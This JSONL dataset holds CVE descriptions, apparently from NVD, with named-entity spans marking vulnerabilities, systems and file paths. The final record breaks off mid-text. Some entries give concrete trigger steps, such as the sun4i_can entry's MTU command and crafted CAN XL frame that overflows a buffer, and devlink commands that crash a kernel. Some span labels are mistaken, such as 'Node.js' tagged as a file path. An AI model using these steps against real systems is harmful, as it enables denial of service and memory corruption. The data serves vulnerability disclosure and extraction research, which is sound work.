{"text": "PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled. `POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy. This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation. The current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes. As of time of publication, a patched version is not yet available.", "spans": {"VULNERABILITY: authentication bypass": [[668, 689]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33622"}}
{"text": "It is possible to cause an use-after-free write in SANM decoding with a carefully crafted animation using subversion <2.\n\nWhen a STOR chunk is present, a subsequent FOBJ chunk will be saved in ctx->stored_frame. Stored frames can later be referenced by FTCH chunks. For files using subversion < 2, the undecoded frame is stored, and decoded again when the FTCH chunks are parsed. However, in process_frame_obj if the frame has an invalid size, there’s an early return, with a value of 0. \n\nThis causes the code in decode_frame to still store the raw frame buffer into ctx->stored_frame. Leaving ctx->has_dimensions set to false.\n\nA subsequent chunk with type FTCH would call process_ftch and decode that frame obj again, adding to the top/left values and calling process_frame_obj again.\nGiven that we never set ctx->have_dimensions before, this time we set the dimensions, calling init_buffers, which can reallocate the buffer in ctx->stored_frame, freeing the previous one. However, the GetByteContext object gb still holds a reference to the old buffer.\n\n\n\n\nFinally, when the code tries to decode the frame, codecs that accept a GetByteContext as a parameter will trigger a use-after-free read when using gb.\n\nGetByteContext is only used for reading bytes, so at most one could read invalid data. There are no heap allocations between the free and when the object is accessed. However, upon returning to process_ftch, the code restores the original values for top/left in stored_frame, writing 4 bytes to the freed data at offset 6, potentially corrupting the allocator’s metadata.\n\nThis issue can be triggered just by probing whether a file has the sanm format.\n\n\n\n\n\n\n\nWe recommend upgrading to version 8.0 or beyond.", "spans": {"VULNERABILITY: use-after-free": [[27, 41], [1177, 1191]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59734"}}
{"text": "Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Versions of @paperclipai/server prior to 2026.416.0 contain a privilege escalation vulnerability that allows an attacker with an Agent API key to execute arbitrary OS commands on the Paperclip server host. An attacker with an agent credential can escalate privileges from the agent runtime to the Paperclip server host. The vulnerability occurs because agents are allowed to update their own adapterConfig via the /agents/:id API endpoint. The configuration field adapterConfig.workspaceStrategy.provisionCommand is later executed by the server runtime. As a result, an attacker controlling an agent credential can inject arbitrary shell commands which are executed by the Paperclip server during workspace provisioning. This breaks the intended trust boundary between agent runtime configuration and server host execution, allowing a compromised or malicious agent to escalate privileges and run commands on the host system. This vulnerability allows remote code execution on the server host. @paperclipai/server version 2026.416.0 fixes the issue.", "spans": {"FILEPATH: Node.js": [[15, 22]], "VULNERABILITY: remote code execution": [[1052, 1073]], "VULNERABILITY: privilege escalation": [[162, 182]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-41208"}}
{"text": "An Improper Input Validation vulnerability in the Packet Forwarding Engine of Juniper Networks Junos OS allows an unauthenticated, network-based attacker to cause memory leak, leading to Denial of Service (DoS).\n\nOn all Junos OS QFX5000 Series platforms, when pseudo-VTEP (Virtual Tunnel End Point) is configured under EVPN-VXLAN scenario, and specific DHCP packets are transmitted, DMA memory leak is observed. Continuous receipt of these specific DHCP packets will cause memory leak to reach 99% and then cause the protocols to stop working and traffic is impacted, leading to Denial of Service (DoS) condition. A manual reboot of the system recovers from the memory leak.\n\nTo confirm the memory leak, monitor for \"sheaf:possible leak\" and \"vtep not found\" messages in the logs.\n\nThis issue affects:\n\nJuniper Networks Junos OS QFX5000 Series:\n\n\n\n  *  All versions prior to 20.4R3-S6;\n  *  21.1 versions prior to 21.1R3-S5;\n  *  21.2 versions prior to 21.2R3-S5;\n  *  21.3 versions prior to 21.3R3-S4;\n  *  21.4 versions prior to 21.4R3-S3;\n  *  22.1 versions prior to 22.1R3-S2;\n  *  22.2 versions prior to 22.2R2-S2, 22.2R3;\n  *  22.3 versions prior to 22.3R2-S1, 22.3R3;\n  *  22.4 versions prior to 22.4R1-S2, 22.4R2.", "spans": {"ORGANIZATION: Juniper": [[78, 85], [803, 810]], "VULNERABILITY: Improper Input Validation": [[3, 28]], "VULNERABILITY: Denial of Service": [[187, 204], [579, 596]], "VULNERABILITY: memory leak": [[163, 174], [387, 398], [473, 484], [662, 673], [691, 702]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-44192"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fail bpf_timer_cancel when callback is being cancelled\n\nGiven a schedule:\n\ntimer1 cb\t\t\ttimer2 cb\n\nbpf_timer_cancel(timer2);\tbpf_timer_cancel(timer1);\n\nBoth bpf_timer_cancel calls would wait for the other callback to finish\nexecuting, introducing a lockup.\n\nAdd an atomic_t count named 'cancelling' in bpf_hrtimer. This keeps\ntrack of all in-flight cancellation requests for a given BPF timer.\nWhenever cancelling a BPF timer, we must check if we have outstanding\ncancellation requests, and if so, we must fail the operation with an\nerror (-EDEADLK) since cancellation is synchronous and waits for the\ncallback to finish executing. This implies that we can enter a deadlock\nsituation involving two or more timer callbacks executing in parallel\nand attempting to cancel one another.\n\nNote that we avoid incrementing the cancelling counter for the target\ntimer (the one being cancelled) if bpf_timer_cancel is not invoked from\na callback, to avoid spurious errors. The whole point of detecting\ncur->cancelling and returning -EDEADLK is to not enter a busy wait loop\n(which may or may not lead to a lockup). This does not apply in case the\ncaller is in a non-callback context, the other side can continue to\ncancel as it sees fit without running into errors.\n\nBackground on prior attempts:\n\nEarlier versions of this patch used a bool 'cancelling' bit and used the\nfollowing pattern under timer->lock to publish cancellation status.\n\nlock(t->lock);\nt->cancelling = true;\nmb();\nif (cur->cancelling)\n\treturn -EDEADLK;\nunlock(t->lock);\nhrtimer_cancel(t->timer);\nt->cancelling = false;\n\nThe store outside the critical section could overwrite a parallel\nrequests t->cancelling assignment to true, to ensure the parallely\nexecuting callback observes its cancellation status.\n\nIt would be necessary to clear this cancelling bit once hrtimer_cancel\nis done, but lack of serialization introduced races. Another option was\nexplored where bpf_timer_start would clear the bit when (re)starting the\ntimer under timer->lock. This would ensure serialized access to the\ncancelling bit, but may allow it to be cleared before in-flight\nhrtimer_cancel has finished executing, such that lockups can occur\nagain.\n\nThus, we choose an atomic counter to keep track of all outstanding\ncancellation requests and use it to prevent lockups in case callbacks\nattempt to cancel each other while executing in parallel.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42239"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Improper escaping in the document `SkinsCode.XWikiSkinsSheet` leads to an injection vector from view right on that document to programming rights, or in other words, it is possible to execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. The attack works by opening a non-existing page with a name crafted to contain a dangerous payload. It is possible to check if an existing installation is vulnerable. See the linked GHSA for instructions on testing an installation. This issue has been patched in XWiki 14.4.8, 14.10.4 and 15.0-rc-1. Users are advised to upgrade. The fix commit `d9c88ddc` can also be applied manually to the impacted document `SkinsCode.XWikiSkinsSheet` and users unable to upgrade are advised to manually patch their installations.", "spans": {"SYSTEM: Python": [[342, 348]], "VULNERABILITY: remote code execution": [[367, 388]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37462"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hns3: fix a deadlock problem when config TC during resetting\n\nWhen config TC during the reset process, may cause a deadlock, the flow is\nas below:\n                             pf reset start\n                                 │\n                                 ▼\n                              ......\nsetup tc                         │\n    │                            ▼\n    ▼                      DOWN: napi_disable()\nnapi_disable()(skip)             │\n    │                            │\n    ▼                            ▼\n  ......                      ......\n    │                            │\n    ▼                            │\nnapi_enable()                    │\n                                 ▼\n                           UINIT: netif_napi_del()\n                                 │\n                                 ▼\n                              ......\n                                 │\n                                 ▼\n                           INIT: netif_napi_add()\n                                 │\n                                 ▼\n                              ......                 global reset start\n                                 │                      │\n                                 ▼                      ▼\n                           UP: napi_enable()(skip)    ......\n                                 │                      │\n                                 ▼                      ▼\n                              ......                 napi_disable()\n\nIn reset process, the driver will DOWN the port and then UINIT, in this\ncase, the setup tc process will UP the port before UINIT, so cause the\nproblem. Adds a DOWN process in UINIT to fix it.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44995"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/tm: Fix more userspace r13 corruption\n\nCommit cf13435b730a (\"powerpc/tm: Fix userspace r13 corruption\") fixes a\nproblem in treclaim where a SLB miss can occur on the\nthread_struct->ckpt_regs while SCRATCH0 is live with the saved user r13\nvalue, clobbering it with the kernel r13 and ultimately resulting in\nkernel r13 being stored in ckpt_regs.\n\nThere is an equivalent problem in trechkpt where the user r13 value is\nloaded into r13 from chkpt_regs to be recheckpointed, but a SLB miss\ncould occur on ckpt_regs accesses after that, which will result in r13\nbeing clobbered with a kernel value and that will get recheckpointed and\nthen restored to user registers.\n\nThe same memory page is accessed right before this critical window where\na SLB miss could cause corruption, so hitting the bug requires the SLB\nentry be removed within a small window of instructions, which is\npossible if a SLB related MCE hits there. PAPR also permits the\nhypervisor to discard this SLB entry (because slb_shadow->persistent is\nonly set to SLB_NUM_BOLTED) although it's not known whether any\nimplementations would do this (KVM does not). So this is an extremely\nunlikely bug, only found by inspection.\n\nFix this by also storing user r13 in a temporary location on the kernel\nstack and don't change the r13 register from kernel r13 until the RI=0\ncritical section that does not fault.\n\nThe SCRATCH0 change is not strictly part of the fix, it's only used in\nthe RI=0 section so it does not have the same problem as the previous\nSCRATCH0 bug.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[1181, 1184]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49164"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Don't store mlx5e_priv in mlx5e_dev devlink priv\n\nmlx5e_priv is an unstable structure that can be memset(0) if profile\nattaching fails, mlx5e_priv in mlx5e_dev devlink private is used to\nreference the netdev and mdev associated with that struct. Instead,\nstore netdev directly into mlx5e_dev and get mdev from the containing\nmlx5_adev aux device structure.\n\nThis fixes a kernel oops in mlx5e_remove when switchdev mode fails due\nto change profile failure.\n\n$ devlink dev eswitch set pci/0000:00:03.0 mode switchdev\nError: mlx5_core: Failed setting eswitch to offloads.\ndmesg:\nworkqueue: Failed to create a rescuer kthread for wq \"mlx5e\": -EINTR\nmlx5_core 0012:03:00.1: mlx5e_netdev_init_profile:6214:(pid 37199): mlx5e_priv_init failed, err=-12\nmlx5_core 0012:03:00.1 gpu3rdma1: mlx5e_netdev_change_profile: new profile init failed, -12\nworkqueue: Failed to create a rescuer kthread for wq \"mlx5e\": -EINTR\nmlx5_core 0012:03:00.1: mlx5e_netdev_init_profile:6214:(pid 37199): mlx5e_priv_init failed, err=-12\nmlx5_core 0012:03:00.1 gpu3rdma1: mlx5e_netdev_change_profile: failed to rollback to orig profile, -12\n\n$ devlink dev reload pci/0000:00:03.0 ==> oops\n\nBUG: kernel NULL pointer dereference, address: 0000000000000520\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\nPGD 0 P4D 0\nOops: Oops: 0000 [#1] SMP NOPTI\nCPU: 3 UID: 0 PID: 521 Comm: devlink Not tainted 6.18.0-rc5+ #117 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014\nRIP: 0010:mlx5e_remove+0x68/0x130\nRSP: 0018:ffffc900034838f0 EFLAGS: 00010246\nRAX: ffff88810283c380 RBX: ffff888101874400 RCX: ffffffff826ffc45\nRDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000\nRBP: ffff888102d789c0 R08: ffff8881007137f0 R09: ffff888100264e10\nR10: ffffc90003483898 R11: ffffc900034838a0 R12: ffff888100d261a0\nR13: ffff888100d261a0 R14: ffff8881018749a0 R15: ffff888101874400\nFS:  00007f8565fea740(0000) GS:ffff88856a759000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000520 CR3: 000000010b11a004 CR4: 0000000000370ef0\nCall Trace:\n <TASK>\n device_release_driver_internal+0x19c/0x200\n bus_remove_device+0xc6/0x130\n device_del+0x160/0x3d0\n ? devl_param_driverinit_value_get+0x2d/0x90\n mlx5_detach_device+0x89/0xe0\n mlx5_unload_one_devl_locked+0x3a/0x70\n mlx5_devlink_reload_down+0xc8/0x220\n devlink_reload+0x7d/0x260\n devlink_nl_reload_doit+0x45b/0x5a0\n genl_family_rcv_msg_doit+0xe8/0x140", "spans": {"FILEPATH: /01/2014": [[1592, 1600]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1534, 1538]], "VULNERABILITY: NULL pointer dereference": [[1250, 1274]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22996"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/port: Fix delete_endpoint() vs parent unregistration race\n\nThe CXL subsystem, at cxl_mem ->probe() time, establishes a lineage of\nports (struct cxl_port objects) between an endpoint and the root of a\nCXL topology. Each port including the endpoint port is attached to the\ncxl_port driver.\n\nGiven that setup, it follows that when either any port in that lineage\ngoes through a cxl_port ->remove() event, or the memdev goes through a\ncxl_mem ->remove() event. The hierarchy below the removed port, or the\nentire hierarchy if the memdev is removed needs to come down.\n\nThe delete_endpoint() callback is careful to check whether it is being\ncalled to tear down the hierarchy, or if it is only being called to\nteardown the memdev because an ancestor port is going through\n->remove().\n\nThat care needs to take the device_lock() of the endpoint's parent.\nWhich requires 2 bugs to be fixed:\n\n1/ A reference on the parent is needed to prevent use-after-free\n   scenarios like this signature:\n\n    BUG: spinlock bad magic on CPU#0, kworker/u56:0/11\n    Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS edk2-20230524-3.fc38 05/24/2023\n    Workqueue: cxl_port detach_memdev [cxl_core]\n    RIP: 0010:spin_bug+0x65/0xa0\n    Call Trace:\n      do_raw_spin_lock+0x69/0xa0\n     __mutex_lock+0x695/0xb80\n     delete_endpoint+0xad/0x150 [cxl_core]\n     devres_release_all+0xb8/0x110\n     device_unbind_cleanup+0xe/0x70\n     device_release_driver_internal+0x1d2/0x210\n     detach_memdev+0x15/0x20 [cxl_core]\n     process_one_work+0x1e3/0x4c0\n     worker_thread+0x1dd/0x3d0\n\n2/ In the case of RCH topologies, the parent device that needs to be\n   locked is not always @port->dev as returned by cxl_mem_find_port(), use\n   endpoint->dev.parent instead.", "spans": {"FILEPATH: /24/2023": [[1195, 1203]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1130, 1134]], "VULNERABILITY: use-after-free": [[1006, 1020]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52771"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_dashboard.php. When parsing the ai_service parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9724.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_dashboard.php": [[228, 246]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15608"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Studio Photo 3.6.6.916. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of TIF files from the GetTIFPalette method. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-9931.", "spans": {"IP_ADDRESS: 3.6.6.916": [[117, 126]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8870"}}
{"text": "A vulnerability has been identified in SCALANCE SC622-2C (6GK5622-2GS00-2AC2) (All versions < V2.3), SCALANCE SC622-2C (6GK5622-2GS00-2AC2) (All versions >= V2.3 < V3.0), SCALANCE SC626-2C (6GK5626-2GS00-2AC2) (All versions < V2.3), SCALANCE SC626-2C (6GK5626-2GS00-2AC2) (All versions >= V2.3 < V3.0), SCALANCE SC632-2C (6GK5632-2GS00-2AC2) (All versions < V2.3), SCALANCE SC632-2C (6GK5632-2GS00-2AC2) (All versions >= V2.3 < V3.0), SCALANCE SC636-2C (6GK5636-2GS00-2AC2) (All versions < V2.3), SCALANCE SC636-2C (6GK5636-2GS00-2AC2) (All versions >= V2.3 < V3.0), SCALANCE SC642-2C (6GK5642-2GS00-2AC2) (All versions < V2.3), SCALANCE SC642-2C (6GK5642-2GS00-2AC2) (All versions >= V2.3 < V3.0), SCALANCE SC646-2C (6GK5646-2GS00-2AC2) (All versions < V2.3), SCALANCE SC646-2C (6GK5646-2GS00-2AC2) (All versions >= V2.3 < V3.0), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0) (All versions < V2.0.0), SCALANCE WAM766-1 (6GK5766-1GE00-7DA0) (All versions < V2.0.0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0) (All versions < V2.0.0), SCALANCE WAM766-1 EEC (6GK5766-1GE00-7TA0) (All versions < V2.0.0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0) (All versions < V2.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0) (All versions < V2.0.0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0) (All versions < V2.0.0), SCALANCE WUM766-1 (6GK5766-1GE00-3DA0) (All versions < V2.0.0), SCALANCE WUM766-1 (USA) (6GK5766-1GE00-3DB0) (All versions < V2.0.0). Affected devices do not properly process CLI commands after a user forcefully quitted the SSH connection. This could allow an authenticated attacker to make the CLI via SSH or serial  interface irresponsive.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-46144"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvdimm: Fix firmware activation deadlock scenarios\n\nLockdep reports the following deadlock scenarios for CXL root device\npower-management, device_prepare(), operations, and device_shutdown()\noperations for 'nd_region' devices:\n\n Chain exists of:\n   &nvdimm_region_key --> &nvdimm_bus->reconfig_mutex --> system_transition_mutex\n\n  Possible unsafe locking scenario:\n\n        CPU0                    CPU1\n        ----                    ----\n   lock(system_transition_mutex);\n                                lock(&nvdimm_bus->reconfig_mutex);\n                                lock(system_transition_mutex);\n   lock(&nvdimm_region_key);\n\n Chain exists of:\n   &cxl_nvdimm_bridge_key --> acpi_scan_lock --> &cxl_root_key\n\n  Possible unsafe locking scenario:\n\n        CPU0                    CPU1\n        ----                    ----\n   lock(&cxl_root_key);\n                                lock(acpi_scan_lock);\n                                lock(&cxl_root_key);\n   lock(&cxl_nvdimm_bridge_key);\n\nThese stem from holding nvdimm_bus_lock() over hibernate_quiet_exec()\nwhich walks the entire system device topology taking device_lock() along\nthe way. The nvdimm_bus_lock() is protecting against unregistration,\nmultiple simultaneous ops callers, and preventing activate_show() from\nracing activate_store(). For the first 2, the lock is redundant.\nUnregistration already flushes all ops users, and sysfs already prevents\nmultiple threads to be active in an ops handler at the same time. For\nthe last userspace should already be waiting for its last\nactivate_store() to complete, and does not need activate_show() to flush\nthe write side, so this lock usage can be deleted in these attributes.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49446"}}
{"text": "Vulnerability in the Oracle Fusion Middleware MapViewer product of Oracle Fusion Middleware (component: Tile Server). Supported versions that are affected are 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Fusion Middleware MapViewer. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Fusion Middleware MapViewer, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Fusion Middleware MapViewer accessible data as well as unauthorized read access to a subset of Oracle Fusion Middleware MapViewer accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 12.2.1.3": [[159, 167]], "IP_ADDRESS: 12.2.1.4": [[174, 182]], "ORGANIZATION: Oracle": [[21, 27], [67, 73], [294, 300], [447, 453], [648, 654], [750, 756]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14607"}}
{"text": "** PRODUCT NOT SUPPORTED WHEN ASSIGNED ** A Cross Site Scripting (XSS) vulnerability was found in Codiad v1.7.8 and later. The vulnerability occurs because of improper sanitization of the folder's name $path variable in components/filemanager/class.filemanager.php. NOTE: the vendor states \"Codiad is no longer under active maintenance by core contributors.\"", "spans": {"FILEPATH: /filemanager/class.filemanager.php.": [[230, 265]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14042"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: sun4i_can: populate ndo_change_mtu() to prevent buffer overflow\n\nSending an PF_PACKET allows to bypass the CAN framework logic and to\ndirectly reach the xmit() function of a CAN driver. The only check\nwhich is performed by the PF_PACKET framework is to make sure that\nskb->len fits the interface's MTU.\n\nUnfortunately, because the sun4i_can driver does not populate its\nnet_device_ops->ndo_change_mtu(), it is possible for an attacker to\nconfigure an invalid MTU by doing, for example:\n\n  $ ip link set can0 mtu 9999\n\nAfter doing so, the attacker could open a PF_PACKET socket using the\nETH_P_CANXL protocol:\n\n\tsocket(PF_PACKET, SOCK_RAW, htons(ETH_P_CANXL))\n\nto inject a malicious CAN XL frames. For example:\n\n\tstruct canxl_frame frame = {\n\t\t.flags = 0xff,\n\t\t.len = 2048,\n\t};\n\nThe CAN drivers' xmit() function are calling can_dev_dropped_skb() to\ncheck that the skb is valid, unfortunately under above conditions, the\nmalicious packet is able to go through can_dev_dropped_skb() checks:\n\n  1. the skb->protocol is set to ETH_P_CANXL which is valid (the\n     function does not check the actual device capabilities).\n\n  2. the length is a valid CAN XL length.\n\nAnd so, sun4ican_start_xmit() receives a CAN XL frame which it is not\nable to correctly handle and will thus misinterpret it as a CAN frame.\n\nThis can result in a buffer overflow. The driver will consume cf->len\nas-is with no further checks on this line:\n\n\tdlc = cf->len;\n\nHere, cf->len corresponds to the flags field of the CAN XL frame. In\nour previous example, we set canxl_frame->flags to 0xff. Because the\nmaximum expected length is 8, a buffer overflow of 247 bytes occurs a\ncouple line below when doing:\n\n\tfor (i = 0; i < dlc; i++)\n\t\twritel(cf->data[i], priv->base + (dreg + i * 4));\n\nPopulate net_device_ops->ndo_change_mtu() to ensure that the\ninterface's MTU can not be set to anything bigger than CAN_MTU. By\nfixing the root cause, this prevents the buffer overflow.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: buffer overflow": [[122, 137], [1397, 1412], [1677, 1692], [1995, 2010]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39986"}}
{"text": "The web console for Mimosa B5, B5c, and C5x firmware through 2.8.0.2 is vulnerable to stored XSS in the set_banner() function of /var/www/core/controller/index.php. An unauthenticated attacker may set the contents of the /mnt/jffs2/banner.txt file, stored on the device's filesystem, to contain arbitrary JavaScript. The file contents are then used as part of a welcome/banner message presented to unauthenticated users who visit the login page for the web console. This vulnerability does not occur in the older 1.5.x firmware versions.", "spans": {"IP_ADDRESS: 2.8.0.2": [[61, 68]], "FILEPATH: /var/www/core/controller/index.php.": [[129, 164]], "FILEPATH: /mnt/jffs2/banner.txt": [[221, 242]], "VULNERABILITY: stored XSS": [[86, 96]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25205"}}
{"text": "Vulnerability in the Oracle Financial Services Liquidity Risk Measurement and Management product of Oracle Financial Services Applications (component: User Interface). Supported versions that are affected are 8.0.7 and 8.0.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Liquidity Risk Measurement and Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financial Services Liquidity Risk Measurement and Management accessible data as well as unauthorized read access to a subset of Oracle Financial Services Liquidity Risk Measurement and Management accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [100, 106], [333, 339], [536, 542], [671, 677]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2943"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: scrub: handle RST lookup error correctly\n\n[BUG]\nWhen running btrfs/060 with forced RST feature, it would crash the\nfollowing ASSERT() inside scrub_read_endio():\n\n\tASSERT(sector_nr < stripe->nr_sectors);\n\nBefore that, we would have tree dump from\nbtrfs_get_raid_extent_offset(), as we failed to find the RST entry for\nthe range.\n\n[CAUSE]\nInside scrub_submit_extent_sector_read() every time we allocated a new\nbbio we immediately called btrfs_map_block() to make sure there was some\nRST range covering the scrub target.\n\nBut if btrfs_map_block() fails, we immediately call endio for the bbio,\nwhile the bbio is newly allocated, it's completely empty.\n\nThen inside scrub_read_endio(), we go through the bvecs to find\nthe sector number (as bi_sector is no longer reliable if the bio is\nsubmitted to lower layers).\n\nAnd since the bio is empty, such bvecs iteration would not find any\nsector matching the sector, and return sector_nr == stripe->nr_sectors,\ntriggering the ASSERT().\n\n[FIX]\nInstead of calling btrfs_map_block() after allocating a new bbio, call\nbtrfs_map_block() first.\n\nSince our only objective of calling btrfs_map_block() is only to update\nstripe_len, there is really no need to do that after btrfs_alloc_bio().\n\nThis new timing would avoid the problem of handling empty bbio\ncompletely, and in fact fixes a possible race window for the old code,\nwhere if the submission thread is the only owner of the pending_io, the\nscrub would never finish (since we didn't decrease the pending_io\ncounter).\n\nAlthough the root cause of RST lookup failure still needs to be\naddressed.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41067"}}
{"text": "The olm_session_describe function in Matrix libolm before 3.2.7 is vulnerable to a buffer overflow. The Olm session object represents a cryptographic channel between two parties. Therefore, its state is partially controllable by the remote party of the channel. Attackers can construct a crafted sequence of messages to manipulate the state of the receiver's session in such a way that, for some buffer sizes, a buffer overflow happens on a call to olm_session_describe. Furthermore, safe buffer sizes were undocumented. The overflow content is partially controllable by the attacker and limited to ASCII spaces and digits. The known affected products are Element Web And SchildiChat Web.", "spans": {"VULNERABILITY: buffer overflow": [[83, 98], [412, 427]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-44538"}}
{"text": "Briefcase is a tool for converting a Python project into a standalone native application. Starting in version 0.3.0 and prior to version 0.3.26, if a developer uses Briefcase to produce an Windows MSI installer for a project, and that project is installed for All Users (i.e., per-machine scope), the installation process creates an directory that inherits all the permissions of the parent directory. Depending on the location chosen by the installing user, this may allow a low privilege but authenticated user to replace or modify the binaries installed by the application. If an administrator then runs the altered binary, the binary will run with elevated privileges. The problem is caused by the template used to generate the WXS file for Windows projects. It was fixed in the templates used in Briefcase 0.3.26, 0.4.0, and 0.4.1. Re-running `briefcase create` on your Briefcase project will result in the updated templates being used. As a workaround, the patch can be added to any existing Briefcase .wxs file generated by Briefcase 0.3.24 or later.", "spans": {"SYSTEM: Windows": [[189, 196], [745, 752]], "SYSTEM: Python": [[37, 43]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33430"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: don't reset unchangable mount option in f2fs_remount()\n\nsyzbot reports a bug as below:\n\ngeneral protection fault, probably for non-canonical address 0xdffffc0000000009: 0000 [#1] PREEMPT SMP KASAN\nRIP: 0010:__lock_acquire+0x69/0x2000 kernel/locking/lockdep.c:4942\nCall Trace:\n lock_acquire+0x1e3/0x520 kernel/locking/lockdep.c:5691\n __raw_write_lock include/linux/rwlock_api_smp.h:209 [inline]\n _raw_write_lock+0x2e/0x40 kernel/locking/spinlock.c:300\n __drop_extent_tree+0x3ac/0x660 fs/f2fs/extent_cache.c:1100\n f2fs_drop_extent_tree+0x17/0x30 fs/f2fs/extent_cache.c:1116\n f2fs_insert_range+0x2d5/0x3c0 fs/f2fs/file.c:1664\n f2fs_fallocate+0x4e4/0x6d0 fs/f2fs/file.c:1838\n vfs_fallocate+0x54b/0x6b0 fs/open.c:324\n ksys_fallocate fs/open.c:347 [inline]\n __do_sys_fallocate fs/open.c:355 [inline]\n __se_sys_fallocate fs/open.c:353 [inline]\n __x64_sys_fallocate+0xbd/0x100 fs/open.c:353\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x41/0xc0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nThe root cause is race condition as below:\n- since it tries to remount rw filesystem, so that do_remount won't\ncall sb_prepare_remount_readonly to block fallocate, there may be race\ncondition in between remount and fallocate.\n- in f2fs_remount(), default_options() will reset mount option to default\none, and then update it based on result of parse_options(), so there is\na hole which race condition can happen.\n\nThread A\t\t\tThread B\n- f2fs_fill_super\n - parse_options\n  - 